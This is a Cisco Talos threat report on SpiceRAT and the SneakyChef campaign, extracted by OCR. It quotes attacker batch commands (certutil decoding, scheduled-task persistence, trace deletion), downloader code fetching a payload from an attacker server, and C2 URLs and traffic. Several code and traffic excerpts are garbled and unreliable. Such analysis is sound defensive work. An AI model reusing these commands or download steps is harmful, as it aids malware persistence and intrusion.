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Unveiling SpiceRAT: SneakyChef's latest tool
targeting EMEA and Asia
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¢ Cisco Talos discovered a new remote access trojan (RAT) dubbed SpiceRAT, used by the threat actor
SneakyChef in a recent campaign targeting government agencies in EMEA and Asia.

¢ We observed that SneakyChef launched a phishing campaign, sending emails delivering SugarGhOst and
SpiceRAT with the same email address.

« We identified two infection chains used to deliver SpiceRAT utilizing LNK and HTA files as the initial attack
vectors.

Cisco Talos would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this
investigation.

SneakyChef delivered SpiceRAT to target Angola government with lures from Turkmenistan
news agency

Talos recently revealed SneakyChef’s continuing campaign targeting government agencies across several countries
in EMEA and Asia, delivering the SugarGh0st malware (read the corresponding research here). However, we found a
new malware we dubbed “SpiceRAT” was also delivered in this campaign.

SneakyChef is using a name "ala de Emissao do Edificio B Mutamba" and the email address “dtti.edb@[redated]” to
send several phishing emails with at least 28 different RAR file attachments to deliver either SugarGhOst or
SpiceRAT.

One of the decoy PDFs that we analysed in this campaign was dropped by a RAR archive, delivered as an
attachment in the emails likely targeted Angolan government agencies. The decoy PDF contained lures from the
Turkmenistan state-owned news media “TYPKMEHCKAA TOCYOAPCTBEHHAA N3OATEJTIbCKAA CITY>KBA”
(Neytralnyy Turkmenistan), indicating that the actor has likely downloaded the PDF from their official website. We
also found that a similar decoy PDF from the same news agency was dropped by the RAR archive that delivered the
SugarGhOst malware in this campaign, highlighting that SneakyChef has SugarGh0st RAT and SpiceRAT payloads in
their arsenal.
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Decoy PDF samples of SugarGhOst and SpiceRAT attacks.

Two infection chains

Talos discovered two infection chains employed by SneakyChef to deploy SpiceRAT. Both infection chains involved
multiple stages launched by an HTA or LNK file.

LNK-based infection chain
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LNK-Based Infection Chain
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The LNK-based infection chain begins with a malicious RAR file that contains a Windows shortcut file (LNK) and a
hidden folder. This folder contains multiple components, including a malicious executable launcher, a legitimate
executable, a malicious DLL loader, an encrypted SpiceRAT masquerading as a legitimate help file (.HLP) and a
decoy PDF. The table below shows an example of the components of this attack chain and the description.

[File Name |Description

[2024-01-17..pdf.Ink |[Malicious shortcut file

LaunchWInApp.exe \Windows EXE to open decoy PDF and run a legitimate EXE

dxcap.exe Benign executable to side-load the malicious DLL
ssMUIDLL.dIl Malicious DLL loader

I[CGMIMP32.HLP  |[Encrypted SpiceRAT

[Microsoftpdf.pdf  |[Decoy PDF

When the victim extracts the RAR file, it drops the LNK and a hidden folder on their machine. After a victim opens the
shortcut file, which masqueraded as a PDF document, it executes an embedded command to run the malicious

launcher executable from the dropped hidden folder.
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Relative Path: ..\..\..\..\Windows\explorer.
Arguments: "2024-01-17\LaunchWlnApp.exe"
Icon Location: .\1.pdf

- Link information ---
Flags: VolumeIdAndLocalBasePath

>> Volume information

Drive type: Fixed storage media (Hard driy
Serial number: A691F89D
Label: (No label)

Local path: C:\Windows\explorer.exe

Tracker database block
Machine ID: s ktop
MAC Address:

MAC VWendor:

Creation:

Volume Droid:

Volume Droid Birth:

File Droid: =Y

File Droid birth: ec2d4dbfa-8ascl

Sample LNK file that starts the malicious launcher EXE.

This malicious launcher executable is a 32-bit binary compiled on Jan. 2, 2024. When launched by the shortcut file, it
reads the victim machine’s environment variable, the execution path of the legitimate executable and the path of the
decoy PDF document and runs them using the API ShellExecuteW.
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Sample function that starts the legitimate EXE and opens the decoy document.

The legitimate file is one of the components of SpiceRAT infection, which will sideload the malicious DLL loader to
decrypt and launch the SpiceRAT payload.

HTA-based infection chain
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HTA-Based Infection Chain
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The HTA-based infection chain also begins with a RAR archive delivered with the email. The RAR file contains a
malicious HTA file. When the victim runs the malicious HTA file, the embedded malicious Visual Basic script executes
and drops the embedded base64-encoded downloader binary into the victim’s user profile temporary folder, disguised

as a text file named “Microsoft.txt.”

var_funcl()
myvVariable

tempFolder

filePath

objFile = objFSO.CreateTextFile(filePath,
objFile.Write myVariable
objFile.Close

After dropping the malicious downloader executable, the HTA file executes another function, which drops and
executes a Windows batch file in the victim’s user profile temporary folder, named “Microsoft.bat.”
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var_func2()

0objFSO = CreateObject("Scripting.Fil mObject™)
tempFolder = objFSO.GetSpecialFolder(2)
outputFilePath = tempFolder & ™\

0bjFSO = CreateObject("Scriptin,

objFile = objF reateTextFile
objFile.WriteLine

objFile.WritelLine /tn crosoftEd E e /tr minute -mo /F"
objFile.WriteLine ta te /tn of / ra a\\C minute -mo 10 /F"
objFile.WriteLine

objFile.WriteLine

objFile.WriteLine "
objFile.Close

The malicious batch file performs the following operations on the victim’s machine:

e The certutil command decodes the base64-encoded binary data from “Microsoft.txt” and saves it as

“Microsoft.exe” in the victim’s user profile temporary folder.
certutil -decode %temp%\\Microsoft.txt %temp%\\Microsoft.exe

¢ |t creates a Windows scheduled task that runs the malicious downloader every five minutes, supressing any
warnings that it triggers when the same task name existed.

schtasks /create /tn MicrosoftEdgeUpdateTaskMachineCISAN /tr %temp%\\Microsoft.exe /sc minute -mo 5
/F

¢ The batch script creates another Windows task named “MicrosoftDeviceSync” to run a downloaded legitimate
executable “ChromeDriver.exe” every 10 minutes.

schtasks /create /tn MicrosoftDeviceSync /tr C:\\ProgramData\\Chrome\\ChromeDirver.exe /sc minute -mo 10
/F

« After establishing persistence with the Windows scheduled task, the batch script runs three other commands to

erase the infection markers. This includes deleting the Windows task named
MicrosoftDefenderUpdateTaskMachineC1SAN and removing the encoded downloader “Microsoft.txt,” the

malicious HTA file, and any other contents unpacked from the RAR file attachment.

schtasks /delete /f /tn MicrosoftDefenderUpdateTaskMachineCISAN
del /f /q %temp%\\Microsoft.txt %temp%\\Microsoft.hta
del %0

The malicious downloader is a 32-bit executable compiled on March 5, 2024. After running on the victim’s machine
through the Windows task MicrosoftEdgeUpdateTaskMachineC1SAN, it downloads a malicious archive file
“chromeupdate.zip” from an attacker-controlled server through a hardcoded URL and unpacks its contents into the
folder at “C:\ProgramData\Chrome”. The unpacked files are the components of SpiceRAT.
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int _ stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowd

{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v12 =

v13

vlig 15;

sub 405BF2(&v12, &unk 42B5EB, ©);
V20 = 0;

Block = @;

vle = 0;

vl7 = 15;

sub_4@5BF2(&Block, &unk_42B5EB, 9);
strcpy(MultiByteStr, "C ProgramData\\Chrome\\ChromeDriv
LOBYTE(v1e) = 0;

vo = viil;

LOBYTE(v26) = 2;

sub_406DD7 (MultiByteStr, strlen(MultiByteStr));
pExceptionObject[1] = ©;
LOBYTE(v28) = 3;

v4 = sub_4@2BBE(v1l);

LOBYTE(v2@) = 1;
unknown_libname_4(v11);

if ( lvd )

{

strcpy(Src, "http: 5.144.31.57:808/S1VRBOHpMXR79eStog35igWKVTsdb hromeupdate.zip");
sub_4e54D2(Src, ©x47u);
LOBYTE(v28) = 5;
pExceptionObject[@8] = 19;
_CxxThrowException(pExceptionObject, (_ThrowInfo *)& TI1H);
}

A sample function of the malicious downloader.

Analysis of SpiceRAT

Both infection chains eventually drop the SpiceRAT files into victim machines. The SpiceRAT files include four main
components: a legitimate executable file, a malicious DLL loader, an encrypted payload and the downloaded
plugins.

The loader components of SpiceRAT

Legitimate executable

The threat actor is using a legitimate executable (named “RunHelp.exe”) as a launcher to sideload the malicious DLL
loader file (ssMUIDLL.dIl). This legitimate executable is a Samsung RunHelp application signed with the certificate of
"Samsung Electronics CO., LTD.” In some instances, it has been observed masquerading as “dxcap.exe,” a DirectX
diagnostic included with Visual Studio, and “ChromeDriver.exe,” an executable that Selenium WebDriver uses to
control the Google Chrome web browser.

lio dxcap.exe Properties b4
= »  Digital Signature Information
General Compatibility Digital Signatures fa This diai \ .
i is digital signature is OK,
Security Details Pravious Versions ? e
Property Value
Description Signer infarmatian
File description RunHelp Application N N
ame;
Type Application Samsunyg Electranics CO, LTD.
File version 1002 . -
Product name  RunHelp Application E-mail: Pat availablz
Product version 1,0,0,2 )
Copyright Copyright (C) 2010 Samsung Electronics ... Signing time:; Thursday, September 2, 2010 4:52:14 AM
Size 117 KB
Date medified  7/9/2013 11:23 AM
Language English (United States) View Certificate

Criginal filename RunHelp.exe

File properties and digital signature details of the legitimate executable.

The legitimate Samsung helper application typically loads a DLL called “ssMUIDLL.dII.” In this attack, the threat actor
abuses the application by sideloading a malicious DLL loader that is masquerading as the legitimate DLL and
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executes its exported function GetFulllangFileNamew?2.

__userpurge sut

Sample function that side-loads the malicious DLL.

Malicious DLL loader

The malicious loader is a 32-bit DLL compiled on Jan. 2, 2024. When its exported function GetFullLangFileNameW2()
is run, it copies the downloaded legitimate executable into the folder "C:\Users\<user>\AppData\Local\data\” as
“dxcap.exe” along with the malicious DLL “ssMUIDLL.dII” and the encrypted SpiceRAT payload “CGMIMP32.HLP.”
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A sample function copies the SpiceRAT components.

It executes the schtasks command to create a Windows task named “Microsoft Update,” configured to run

“dxcap.exe” every two minutes. This technique establishes persistence at multiple locations on the victim's machine
to maintain resilience.

schtasks -CreAte -sC minute -mo 2 -tn "Microsoft Update" -tr "C:\Users\
<User>\AppData\Local\data\dxcap.exe"
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CTRL-"+"

A sample function that creates Windows task.

Then the loader DLL takes the snapshot of the running processes in the victim machine and checks if the legitimate
executable that sideloads this malicious DLL is being debugged by querying its process information using
“NtQueryInformationProcess.”

ULONG, PULONG))Ge oduleHandleW, "NtQue

The loader DLL executes another function that loads the encrypted file “CGMIMP32.HLP,” which is masquerading as
a legitimate Windows help file into memory and decrypts it using the RC4 encryption algorithm. In one of the
samples, we found that the DLL used a key phrase “{11AADC32-A303-41DC-BF82-A28332F36A2E}” for decrypting

SpiceRAT in memory. After decryption, the loader DLL injects and runs the SpiceRAT from memory to its parent
process “dxcap.exe.”
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Fr) AU ESL N1
8970 FC HOY DWORD PTR 551 [EBP-41,EDI
70 OC CHP DWORD PTR SS:[EBP+C],EDI

1 .Diimﬂgg?'( S8MUI0LL. 1008747E
OCAL DECLARATIONS. PRESS KEYPAD CTAL-"+" T D 1 o

ES1, S00000FF
&‘E‘ SHORT ssMUIDLL. 10007424
OR ESI, FFFFFFE8
HC ESI
LEA ER, WORD PTR SS: (EBP4ESI-104)
HOU O, BYTE PTR DS: (EAK]

HOUZX ECX, 0L

o] . s AOD EOI, ECH

« BIE? FFO0M0SD EDI, BOO0BIFF

~79 08 JNS SHORT ssMUIDLL. 10087442

il & DEC
« BICF DOFFFFFF

10U EL, BVTE PTR DS: (ECK

HOU BYTE PTR [5:[EAX], BL

HOU EBX, DWORD PTR S$S: (EEP-4)
0y EVTE PTR 031 CECR] O
HOUZX_ ERL, BVTE PR Dt ERK)
10U EC, DUORD FTR 581 (EEP+3)
HOUZX ER, 0L

AOD ER, EDX

AND ERY, SROODEFF

[{E‘g SHORT ssMUIDLL. 18007468
OR_ERY, FFFFFFB8

NC ERI

HOLLQL_BYTE TR GS: [ERDAEQH-104]
J0R EYTE_PTR [5; [ECKEEXKN. AL |
THCERR

HOU CWORD PTR S5: [EEP-41,EBN
CHP EBX, DMORD PTR $S3 (EEP4C)

JB SHORT ssHUTOLL, 16967413

FOP EOI

EDI=0000070
Junp fron 10087411

Rddress Hew dunp

A sample function that decrypts the SpiceRAT in memory.

The SpiceRAT payloads

Talos discovered that SneakyChef has employed SpiceRAT and its plugin as the payloads in this campaign. With the
capability to download and run executable binaries and arbitrary commands, SpiceRAT significantly increases the
attack surface on the victim’s network, paving the way for further attacks.

SpiceRAT is a 32-bit Windows executable with three malicious export functions GetFullLangFileNameW?2,
WinHttpPostShare and WinHttpFreeShareFree. Initially, it executes the GetFullLangFileNameW2 function,
creating a mutex as an infection marker on the victim machine. The mutex name is hardcoded in the RAT binary. We
spotted two different mutex names among the SpiceRAT samples that we analyzed:

+ {00866F68-6C46-4ABD-A8D6-2246FE482F99}
e {00861111-3333-4ABD-GGGG-2246FE482F99}

After the Mutex is created, the RAT collects reconnaissance data from the victim’s machine, including the operating
system’s version number, hostname, username, IP address and the system’s network card hardware address (MAC
address). The reconnaissance data is then encrypted and stored in the machine’s memory.

ner
fluncl

A sample function that encrypts the reconnaissance data in memory.
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During runtime, the RAT loads the WININET.dII file and imports the addresses of its functions to prepare for C2
communication.

A sample function that loads the APIs of WININET.dII.

Once the function addresses of WININET.dIl are imported, the RAT executes the WinHttpPostShare function to
communicate with the C2. It connects to the C2 server with a hardcoded URL in the binary and through the HTTP
POST method.

sub_40280A(

Then, it attempts to read and send the encrypted stream of reconnaissance data and user credentials from memory
to the C2 server. The C2 server responds with an encrypted message enclosed with HTML tags in the format
“<HTML><encrypted Response> </HTML>". The RAT decrypts the response and writes them into the memory
stream.

We discovered that the C2 server sends an encrypted stream of binary to the RAT. The RAT decrypts the binary
stream into a DLL file in the memory and executes its exported functions. The decrypted DLL functions as a plugin to
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the SpiceRAT.

( lpMem )

sub_484F7
lpMem =

lpMem = (L
( lpMem )

ord_41

WinHttpPostsShare(e, @, 1083, E&Blo

Sample function of SpiceRAT executing the export functions of plugin.

SpiceRAT plugin enables further attacks

SpiceRAT plugin is a 32-bit dynamic link library compiled on March 28, 2023. The plugin has an original filename
“Moudle.dIl” and has two export functions: Download and RunPE.

The Download function of the plugin appears to access decrypted response data from the C2 server stored in the

victim’s memory and writes them into a file on disk, likely as commanded by the C2.
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sub_1

. DownLoad

The downloader function of SpiceRAT plugin.

The RunPE function appears to execute arbitrary commands or binaries that were likely sent from C2 using the
WinExec API.
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int __stdcall sub_leeeicie(int (__cdecl *s WORD, _DWORD, _DWORD, _DWORD), int (__cdecl *a2)(_DWORD))

[COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

r A
; Exported entry 2. RunPE

sub_108@28F8( (ch )Src, (char , strlen((c har *)a2)); T el o
dword_ 18012

unsigned int *)&

RunPE endp

A sample function to run a PE file.

C2 communications

SneakyChef's infrastructure includes the malware’s download and command and control (C2) servers. In one attack,
the threat actor hosted a malicious ZIP archive on the server 45[.]144[.]31[.]57 and hardcoded the following URL in a
malicious downloader executable.

http://45[.1144[.]131[.]157:80/S1VRBOHpMXR79eStog351gWKVTsdbx/chromeupdate.zipservers

We observed that the threat actor used IP addresses and domain names to connect to the C2 servers in different
samples of SpiceRAT in this campaign. Our research uncovered various C2 URLs hardcoded in SpiceRAT samples.

o hxxp[://]94][.]198[.]40[.]4/homepage/index.aspx
¢ hxxp[://]stock[.]adobe-service[.Jnet/homepage/index.aspx
o hxxp[://Japp[.Jturkmensk[.]Jorg[/]nomepage[/Jindex.aspx

One of the C2 servers, 94[.]198[.]140[.]4, was found to be running Windows Server 2016 and hosted on the M247
network, which is frequently abused by APT groups. Passive DNS resolution data indicate that the IP address
94[.]198].140[.]4 resolved to the domain appl[.Jturkmensk[.Jorg and we found another SpiceRAT sample in the wild that
communicated with this domain.

Further analysis of the C2 server 94[.]198[.]40[.]4 uncovered a unique C2 communication pattern of SpiceRAT. The
SpiceRAT initially sends the encrypted reconnaissance data to the C2 URL through the HTTP POST method. The C2
server then responds with an encrypted message embedded in the HTML tags.

POST /homepage/index.asp HTTP/1.1]
[Content-Type: application/x-www-form-urlencoded|

User-Agent: Mozilla/5.8 (Windows NT 6.1; Trident/7.8; rv:11.8) like Geckol
Host: 94.198.48.4

Pragma: no-cache]

maahwnaaawanaalqawaemalqavadKalqaZaeqalanadCalqaRMw
bWbaaag, Gaaapalaaac

gearabf]
afmasWbuaelauaaTafuavaadaeSasGa9afmaaacsaaaaaeabahWSPxELreb7. 61IggaSSHKaaiaaad8eqhyXT3Ir6iXkaaaaaacO4rKaagaaaaaGalabaaaadamad2YeVR1makapZ|
cYLDWWdaa@iaGaas! bsaelatabfafi

deanWaYacSamga7acSamGaZadKalGaXadmamga2adeanGadacSamGaBadqalGa7adialGaZaduackakacSamaal
UadaalGaWads. maalWac9 bdac9amGa4ac9ambeacacaabac9anga8aaaaaaaaaaaa)
IHTTP/1.1 288 OK

Server: Microsoft-I1I1S5/5.6)
[Content-Length:

[Connection: Close|
[cCache-Control:

aaaasaaaaaaaaaaaaaaaaaasasaaaaaaaaaaaaaasaaaaaal | </HTML>|
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We observed that the SpiceRAT and its C2 servers use a three-byte prefix for their first three requests and
responses, as shown in the table below.

[SpiceRAT requests prefix [C2 server response prefix |
[0x31716d (ascii = 1qm) [[0x31476d (ascii = 1Gm) |
[0x32716d (ascii = 2qm)  [[0x32476d (ascii = 2Gm) |
[0x33716d (ascii = 3qm) |[0x33476d (ascii = 3Gm) |

Our analysis suggests that the second request that SpiceRAT sends likely contains the encrypted stream of the
victim’s machine user credentials. We found that for the third request that SpiceRAT sends from the victim machine,
the C2 server responds with an encrypted stream of the SpiceRAT’s plugin binary. SpiceRAT then decrypts and
injects the plugin DLL reflectively.

J7.8; rv:11.8) llke Secw

1 IHTTP 1.1 300
1 Microsoft-II15/5.
-Length 95771
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P
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2o WTANEL FETESWEM_sWTERYLBES 1Pzl vl Jan I TEL 3 Lt SOIEAE LHOWERSEC 2 Ed SLLERLEL
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e FGensl IROYID-F rSLodvl IFORISTvul IoypTLE<IL _Toduicixf 1pTEdScesd 70 Sl se 875 00q | i IpttsdatcCneneiltng - 7rf - 10nhGbip_s_1 I0Splaw- Tkkdre
e B e e L L P e AR L T e AL T o T LA FAET et | P T AN - 74 ] wd T TP

[1zbaYgnrvgdenr FiGeast AwCprinlmlviy]-Yd2brw S TRciVhIxa
pradiik cea Vrhindk 1A1¥1Lnd -~ jablnsssaniiuColbrad G- eidasat
(T TR ?Twel THul 20i Dot [BarabapTig- s0Hlde] T TK cémdiibaid T
oS Leud Taknsgas I Taae] FARCREIVReglraflOCbkaal Tnbipedash
(S LECERT] el SAGARART 3L AT DL XL DL L WL L TR, CFIY L e | S PO | - T AT s DrnG mee s T e wl ¢ e | peh ] Vg sl B baded nl nfmindmk
T-¥irrs Lug¥ndac | rgHrul d0wrie e ped 13gh_SgT QUPRPPRTERS 2 _#raqabonraacuchbiqaatlgeT_TJFE

_W-ckieaatzx_Kumdaagl_E jDErHGI8CIvaMGS L ey Jalc Do lys Dok gronelecd- {388 _{tdrabe 110Vl z- amlaly: Wk IWans gap THzHHC b 3o ptxhalvilve
e VM3 BHGZS a0c TR GAF W1 30w - Dbk JDE 36 JOE ap THMMINSC 505 whais e Tawd TX%H 510 Tk aa - ShAA TR 16_HIITyZYwA S0LF_F5p5_6uDAGH_KsrdasqhCn ol
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Fadn RoBriR v hEf gl T oG ae Six - __ - LrD] -sasned peddl K3 Jury [88aued_fr igscedDE X E] Tv7 £l 0w tinni oebd Tra ol Uneanabi | gRaaasnssvLaCny D - KKOqnanabd_?
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Once the plugin is downloaded and implanted on the victim’s machine, SpiceRAT sends another request with the
prefix “wG.” The C2 server responds with an unencrypted message “<HTML>D_OK<HTML>", likely to get a
confirmation of successful payload download.

IPOST /homepage/index.asp HTTR/L.
orbent-Type: appl ieation s -wew-Farm-ur] enad ed

- Lnagad

AASAAASSHAASIAAARARAAAARAAARAAARRAAARRAA | THTTRAL, 1 20 Ok

onbent - Length:
onnection: Clas
ache - Control

iuﬂh FLLB LR 172,16, 25900 S, 195 49,4 I sl mrwwgr"n-uu asp MITP/1,1  (spplications-wwd-form-urlencoded
2847 24B.519104 B.40.4 172.16.138. 13 @ - 12 K] k=220 WLn- 54]44! Lan-8

TTPs overlap with other malware campaigns

Talos assesses with medium confidence that the actor SneakyChef, using SpiceRAT and SugarGhOst RAT is a
Chinese-speaking actor based of the language observed in the artifacts and overlapping TTPs with other malware
campaigns.

In this campaign, we saw that SpiceRAT leverages the sideloading technique, utilizing a legitimate loader alongside a
malicious loader and the encrypted payload. Although sideloading is a widely adopted tactic, technique and
procedure (TTP), the choice to use the Samsung helper application to sideload the malicious DLL masquerading
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“ssMUIDLL.dII" file is particularly notable. This method has been previously observed in the PlugX and SPIVY RAT
campaigns.

Indicators of Compromise

Indicators of Compromise associated with this threat can be found here.
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